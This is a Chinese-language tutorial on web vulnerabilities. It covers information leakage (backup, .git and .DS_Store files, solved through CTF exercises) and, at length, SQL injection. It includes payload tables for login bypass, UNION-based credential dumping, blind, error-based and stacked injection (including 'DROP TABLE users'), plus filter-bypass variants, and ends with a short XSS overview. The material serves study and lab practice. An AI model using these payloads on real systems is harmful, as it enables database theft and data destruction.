网络安全漏洞:从信息泄露到SQL注入
一、信息泄露信息泄露也称数据泄露指敏感、保密的信息在未经授权的情况下被故意或意外地披露、获取或传播。小至个人隐私大至企业机密、国家情报均可能成为泄露目标。在网络安全里信息泄露不只是 “隐私被看光”它是绝大多数网络攻击、诈骗、数据犯罪的源头和跳板危害会层层放大。1.目录遍历目录遍历Directory Traversal也叫目录穿越是一种常见的Web 安全漏洞。攻击者通过构造特殊的路径字符绕过网站的访问限制非法访问到服务器上本应受保护的文件目录读取、修改甚至删除系统文件或应用配置文件。这里介绍dirsearch来进行目录遍历下载git clone https://github.com/maurosoria/dirsearch.git进入窗口输入cmd打开终端输入python dirsearch.py -i 200 -u 目标网址这里我以www.baidu.com百度网站为例由上面的图片结果来看百度作为大型网站这些路径大多是公开的静态资源或标准配置文件没有发现敏感的后台、备份文件等高危路径属于正常现象。2.PHPINFO()指网站因遗留测试文件如phpinfo.php、info.php导致攻击者可直接访问并执行 PHP 内置函数phpinfo()从而获取服务器 PHP 环境、系统配置、路径、扩展、安全开关等大量敏感信息的漏洞。示例https://www.ctfhub.com/#/skilltree点击网址进入题目查看phpintoctrlf 搜索cfthub得出flag3.备份文件下载网站开发人员在修改、更新网站源码时会对原网站代码、配置文件进行备份生成备份文件。若开发人员上线后忘记删除备份文件攻击者可以通过猜测、扫描路径直接访问并完整下载网站全部源码属于典型信息泄露漏洞。3.1网站源码网站源码备份文件是开发者在搭建、修改、更新网站代码时将整个网站所有页面代码、配置文件、数据库文件整体压缩备份形成的文件。若网站上线部署后备份文件仍然存放在网站根目录攻击者可通过路径访问、目录扫描直接下载全部网站源码属于严重信息泄露漏洞。示例通过对备份文件后缀与备份文件名的排列组合可以得到一个为www.zip的压缩包将其打开将flag_1149411838.txt写入url中得到flag3.2 bak文件.bak 是最常见的源码备份后缀网站开发人员修改网页代码、配置文件时会自动生成原文件备份文件后缀为 .bak。网站上线后未删除这些 bak 文件攻击者可直接访问链接下载原文件源码属于信息泄露漏洞。简单举例index.php 备份后 → index.php.bakconfig.php 备份后 → config.php.bak示例打开题目得到其表达为flag在index.php中而该文件备份为index.php.bak,因此url中写入得到备份文件打开即可获得flag3.3 vim备份文件Vim 备份文件是编辑器 Vim 在编辑文件时自动生成的临时备份 / 缓存文件用于异常退出时恢复文件。如果编辑完文件未正常退出 Vim该文件会残留在网站目录生成一个用于备份缓冲区内容的临时文件——.swp文件。攻击者可直接访问下载还原出网站源码。示例该操作与上一个.bak文件一致仅改变后缀为.swp 得到打开即可获取flag3.4 .DS_Store.DS_Store是Mac OS苹果电脑系统自带的文件夹隐藏配置文件。系统会自动在每个文件夹生成该文件用来保存文件夹图标位置、文件排序、目录结构等信息。网站开发者用 Mac 电脑上传网站代码时连带隐藏文件一起上传到服务器残留未删除攻击者可访问下载泄露网站全部目录结构属于信息泄露漏洞。示例在url中输入 .DS_Store下载文件记事本打开将c5fa3eb3c0bf391f0761f70da6fcde09.txt输入url中得到flag4.Git泄露Git 泄露是指开发者使用 Git 管理网站代码时将项目目录下的隐藏文件夹.git一同上传到了服务器攻击者可通过访问网址/.git下载该文件夹还原出网站的全部源代码、历史版本、账号、密钥属于高危信息泄露漏洞。注意事项 必须在python2环境下运行5.svn泄露SVN 是一款版本控制工具开发者用它管理网站代码版本、修改记录。网站部署上线时未删除项目内自带的隐藏目录 .svn且服务器无访问权限限制攻击者可直接访问该目录利用工具解析文件、完整下载网站全部源代码、历史版本、数据库配置属于极高危信息泄露漏洞。6.其他泄露CVS泄露 CVS是一个C/S系统多个开发人员通过一个中心版本控制系统来记录文件版本从而达到保证文件同步的目的。主要是针对 CVS/Root以及CVS/Entries目录直接就可以看到泄露的信息。Bazaar/bzr泄露 bzr也是个版本控制工具, 虽然不是很热门, 但它也是多平台支持, 并且有不错的图形界面。 Bazaar/bzr泄露 WEB-INF是Java的WEB应用的安全目录如果想在页面中直接访问其中的文件必须通过web.xml文件对要访问的文件进行相应映射才能访问。二、SQL注入1.原理SQL注入是由于网站后端直接将用户可控的请求参数拼接进SQL语句执行没有对单引号、逻辑关键字、注释符等特殊字符进行过滤与转义攻击者可以构造恶意注入语句篡改原本SQL语句的执行逻辑从而非法查询、窃取、篡改数据库数据甚至获取网站后台权限与服务器权限造成严重的数据泄露危害。一些常见的sql注入语句注入类型用途经典 SQL 注入语句说明基础判断判断是否存在注入点 OR 11--最经典万能注入闭合单引号恒成立条件注释后续语句 OR 11无注释符版本适用于部分数据库布尔盲注判断 AND 11-- AND 12--页面正常 / 异常判断注入是否生效查询数据查所有数据登录绕过admin --用户名输入直接跳过密码验证 UNION SELECT 1,2,3--联合查询获取字段数、回显位查数据库版本 UNION SELECT version(),2--获取 MySQL 版本信息查当前数据库 UNION SELECT database(),2--获取当前连接的数据库名查所有数据库 UNION SELECT schema_name,2 FROM information_schema.schemata--MySQL 获取所有库名查表名 UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schemadatabase()--获取当前库所有表查字段名 UNION SELECT column_name,2 FROM information_schema.columns WHERE table_nameuser--获取指定表的字段查敏感数据 UNION SELECT username,password FROM users--直接查询账号密码等核心数据延时盲注无回显时判断注入 AND sleep(5)--MySQL 延时 5 秒页面延迟加载则存在注入 AND IF(11,sleep(5),0)--条件延时注入报错注入页面有报错信息时 AND updatexml(1,concat(0x7e,database()),0)--MySQL 报错暴库 AND extractvalue(1,concat(0x7e,version()))--报错查版本堆叠注入执行多条 SQL 语句; DROP TABLE users;--分号分隔可执行删除、修改等高危操作; CREATE TABLE test(id int);--新建表2.HTTP请求原理客户端浏览器首先通过DNS 域名解析获取服务器对应的 IP 地址随后与服务器建立TCP 三次握手连接连接成功后客户端按照 HTTP 协议格式构造并发送HTTP 请求报文服务器接收请求后进行处理执行相应业务逻辑再向客户端返回HTTP 响应报文与资源数据数据传输完成后通过TCP 四次挥手断开连接最终浏览器解析响应内容并将页面展示给用户。3.示例我们创建一个数据库使用正常的sql语句http://localhost/test.php?id1如上图返回的是数据库表id1的数据而如果利用sql注入http://localhost/test.php?id1 or 11可以看到sql注入后将数据库的所有数据库全部呈现出来造成数据泄露。三、union注入1.原理Union 注入就是利用 SQL 的 UNION 关键字将用户构造的恶意查询语句与原查询语句拼接执行从而直接查询出数据库里的表名、字段名、账号密码等敏感信息。Union 注入是 SQL 注入中最常用的联合查询注入攻击者通过构造恶意 SQL 语句使用 UNION 关键字将原本的查询语句与自己构造的 SELECT 语句拼接执行使数据库返回原查询结果之外的敏感数据从而直接获取数据库的表名、字段名、管理员账号密码等核心信息实现快速脱库。2.条件Union 注入 3 个必须条件页面必须有回显能把查询结果显示出来前后两个 SELECT 的字段数必须一样数据类型兼容3.示例这是最开始的数据库信息当在url中输入?id-1 union select 1,username,password from user --可以看到union注入将得到的数据全部整合回显到浏览器上展示这里的语法则是id-1是一个不存在的 ID让原本原生的 SQL 查询查不到任何数据原 SQL 查询不到结果页面回显位置就会完全空出来此时union后面你自定义查询的数据就会完整显示在页面上。直接闭合掉前面原本的单引号打破原有 SQL 语句结构脱离参数数据范围开始写自己的 SQL 语句。union select拼接 2 条SELECT查询语句把两次查询的结果合并到一起同一页面回显输出。要求前后两条SELECT查询的字段数量必须完全一致1占位数字用来补齐字段数量username,password你要爆出来的敏感字段用户名、密码这就是你注入要获取的数据。-- -把单引号后面所有原本剩余的 SQL 语句全部注释掉让数据库不再执行后面的代码避免语法报错。四、手工注入过滤绕过网站过滤了select / union / and / or / 空格 / 单引号等关键字我们用变形、替换、编码、大小写等方法让代码照样执行。被过滤内容绕过原理绕过方法原始 Payload绕过后可用 Payload 示例SQL 关键字union、select后端仅纯小写 / 纯大写精准匹配过滤不识别混合大小写大小写混合变形-1 union select 1,username,password from user---1 UniOn SeLeCt 1,username,password from user--SQL 关键字union、select后端仅做单次替换删除双写关键字被删除一次后恢复原词关键字双写绕过-1 union select 1,username,password from user---1 ununionion seselectlect 1,username,password from user--空格用 SQL 语法内等价符号替代空格不影响语句执行/**/注释符绕过-1 union select 1,username,password from user---1 union/**/select/**/1,username,password from/**/user--空格URL 编码替代原生空格数据库可正常解析URL 编码绕过%20(空格)、%09(TAB 制表符)-1 union select 1,username,password from user---1%09union%20select%091,username,password from%20user--逻辑运算符and、orSQL 标准逻辑符等价替换符号替换and→or→ 1 or 11--111--等号用查询匹配语法替代等值判断like、regexp模糊匹配绕过where id1where id like 1单引号宽字节编码吞噬后续转义斜杠闭合语句宽字节绕过%df-1 union select...?id-1%df union select 1,username,password from user--逗号,利用括号、字段顺序拆分规避逗号括号嵌套绕过union select 1,username,passwordunion select (1),(username),(password)注释符--、#后端屏蔽结尾注释语句无法闭合首尾注释包裹绕过...from user--/*xxx*/from user/*xxx*/例如?id-1 UniOn SeLeCt 1,username,password from user -- -五、宽字节注入宽字节注入是一种利用PHP 与 MySQL 数据库编码不一致产生的注入漏洞。当网站使用GBK/GB2312 编码并对用户输入的单引号进行转义变成\时攻击者可以在单引号前添加一个GBK 编码的字符如%df让转义符\被 “吃掉”从而成功闭合单引号绕过转义过滤实现 SQL 注入。例如?id-1%df union select 1,username,password from user --六、报错注入报错注入是无回显、只有错误信息页面情况下的注入方式利用数据库自带特殊函数执行过程中出错将函数内部查询的数据库数据跟随报错信息一同回显到页面从而逐步查询库名、表名、字段名、账号密码实现脱库。条件页面会回显数据库原始报错信息MySQL 数据库开启报错机制存在 SQL 注入漏洞可插入函数语句与union比较注入类型适用场景核心函数原理典型 Payload报错注入无数据回显仅显示数据库报错信息updatexml()extractvalue()构造非法参数使函数报错将子查询数据随报错内容回显?id1 and updatexml(1,(select database()),1)--Union 联合注入有完整数据回显union select拼接查询语句直接回显查询结果?id-1 union select 1,2,3--注意报错注入的两个函数updatexml()、extractvalue()是 MySQL 专属自定义函数SQLite 数据库完全不存在、不支持这个函数。我这里使用的是sqlite数据库就不演示感兴趣的朋友请自行测试。七、盲注盲注是在页面没有任何数据回显、也没有报错信息时的 SQL 注入方式。攻击者通过构造逻辑判断语句观察页面是否正常显示、是否延时响应来逐位猜解数据库的库名、表名、字段名、账号密码等敏感数据最终实现脱库。1.布尔盲注布尔盲注属于无回显 SQL 注入当页面没有数据回显、没有报错信息仅存在页面正常 / 空白两种真假状态时攻击者构造逻辑判断语句根据页面是否正常显示逐位猜解数据库库名、表名、字段、账号密码的每一个字符最终拼接出完整敏感数据完成脱库。示例输入一个恒为真的url?id1 and 11 -- -输入一个恒为假的url?id1 and 12 -- -2.构造布尔盲注条件?id1 and substr(username,1,1)a -- -当输入url后猜用户名第一位是否为‘a’时当输入url后猜用户名第一位是否为‘b’时3.构造逻辑判断条件?id1 and length((select username from user limit 1))3 -- -4.区别以上三者存在高度相似但是概念层级、范围、作用完全不一样是包含从属关系构造逻辑判断条件 构造布尔盲注条件 布尔盲注整体注入对比维度布尔盲注构造布尔盲注条件构造逻辑判断条件整体定义一整套完整的注入攻击类型属于无回显注入专门适配布尔盲注场景符合盲注语法规范的条件语句编写方法通用范围最广所有 SQL 逻辑判断语句的编写方式统称所处层级整体漏洞利用流程完整注入流程内的核心环节布尔盲注专属条件底层语法基础所有注入通用基础适用场景页面无数据回显、无报错回显仅存在真假页面显示差异仅用于布尔盲注场景下的语句构造布尔盲注、时间盲注、万能登录、所有 SQL 判断场景全部通用核心作用根据页面真假差异完整脱库猜长度、猜表、猜字段、猜账号密码全部字符编写专门用于盲注的合法判断式限定只能返回真 / 假布尔结果构造任意 SQL 逻辑表达式实现条件成立 / 不成立的判断包含函数length()、substr()、ascii()全套字符猜解函数仅使用盲注专用函数length、substr、ascii所有比较运算符、逻辑运算符均可 and or不限函数完整 Payload 格式?id1 and 【布尔条件】 -- -整套完整 URL 注入语句填充在and之后的完整判断式子ascii(substr((select username from user limit 1),1,1))97任意位置可嵌套的基础判断表达式length(str)5、substr(...)a范围包含关系最大整体概念属于布尔盲注的核心组成部分范围最底层包含布尔盲注条件结果特点整套流程最终破解出完整数据库数据结果只有TRUE / FALSE两种布尔值结果只有成立 / 不成立两种逻辑值典型完整示例br?id1 and ascii(substr((select username from user limit 1),1,1))97 -- -brbrascii(substr((select username from user limit 1),1,1))97brbrlength((select username from user limit 1))3br通俗理解一整套攻击方法这套攻击里专用的标准条件写法所有 SQL 里写真假判断式子的通用方法5.时间盲注时间盲注属于完全无回显的注入类型页面既不显示查询数据、不显示报错信息、页面内容也没有任何真假区别。利用if()条件判断 sleep()延时函数条件成立就延迟加载页面条件不成立就立刻加载通过网页响应等待时间长短来逐位猜解数据库字符最终脱库。注意该盲注仅在MySQL中使用。八、堆叠注入堆叠注入是利用数据库支持分号;分隔多条 SQL 语句的特性在注入位置插入分号结束原有查询后面拼接全新的任意 SQL 语句删表、建表、改数据、导出文件等一次性执行多条 SQL 语句实现远超普通注入的危害。注意该注入仅在MySQL中使用。SQLite默认完全禁止多语句堆叠执行;无法分隔多条 SQL。例?id1;select * from user;-- -这里url中表示查询id1的数据以及查询user中所有数据但是回显的内容仅仅只有id1的数据并不能把user中的数据全部回显。九、其他注入1.二次注入二次注入属于存储型注入攻击者先将恶意 SQL 语句写入数据库数据本身不会立刻触发漏洞当后续页面调用、读取数据库中存储的该恶意数据时恶意语句被后端重新解析执行从而产生注入危害。整个注入触发分为插入、读取两个阶段。2.Cookie注入Cookie 注入是注入点位于 Cookie 参数的 SQL 注入。网站后端直接获取用户 Cookie 数据并拼接进 SQL 语句执行攻击者将恶意注入语句写入 Cookie 中代替 GET/POST 传参从而触发 SQL 注入漏洞实现数据脱库。3.UA注入UA 注入是注入点存在于 HTTP 请求头 User-Agent的 SQL 注入。网站后端获取浏览器请求头中的User-Agent用户代理信息未经过滤直接拼接进 SQL 语句执行攻击者修改 UA 字段写入恶意注入语句从而触发 SQL 注入漏洞。4.Refer注入Referer 注入属于HTTP 请求头注入网站后端获取用户 HTTP 请求头中的Referer来源页面信息未经过滤直接拼接进入 SQL 语句执行攻击者修改Referer请求头并写入恶意注入 Payload从而触发 SQL 注入漏洞。十、XSSXSS 全称Cross Site Scripting 跨站脚本攻击是网站对用户输入的数据没有做过滤转义直接输出到前端页面攻击者注入恶意 JavaScript 脚本代码当其他用户访问页面时恶意脚本在受害者浏览器自动执行从而实现盗取 Cookie、钓鱼、页面篡改等危害。1.反射型XSS反射型 XSS 属于非持久型 XSS攻击者构造包含恶意脚本的特殊 URL 链接用户点击该恶意链接后服务器直接将 URL 中的恶意代码反射输出到页面脚本在受害者浏览器中执行完成攻击。恶意代码不会存入数据库仅单次触发。2.存储型XSS存储型 XSS 也叫持久型 XSS攻击者将恶意脚本代码提交到网站并存储到服务器数据库中后续任意用户访问该页面时服务器读取数据库内的恶意数据并输出到页面脚本在用户浏览器自动执行危害范围广、持续性强。3.DOM型XSSDOM 型 XSS 是不经过服务器后端解析的前端原生漏洞。页面通过 JavaScript 读取 URL 参数等内容并直接通过 DOM 操作写入页面 HTML 中攻击者构造恶意脚本脚本仅在浏览器前端执行数据不经过服务器、不存入数据库、服务器无任何存储与输出。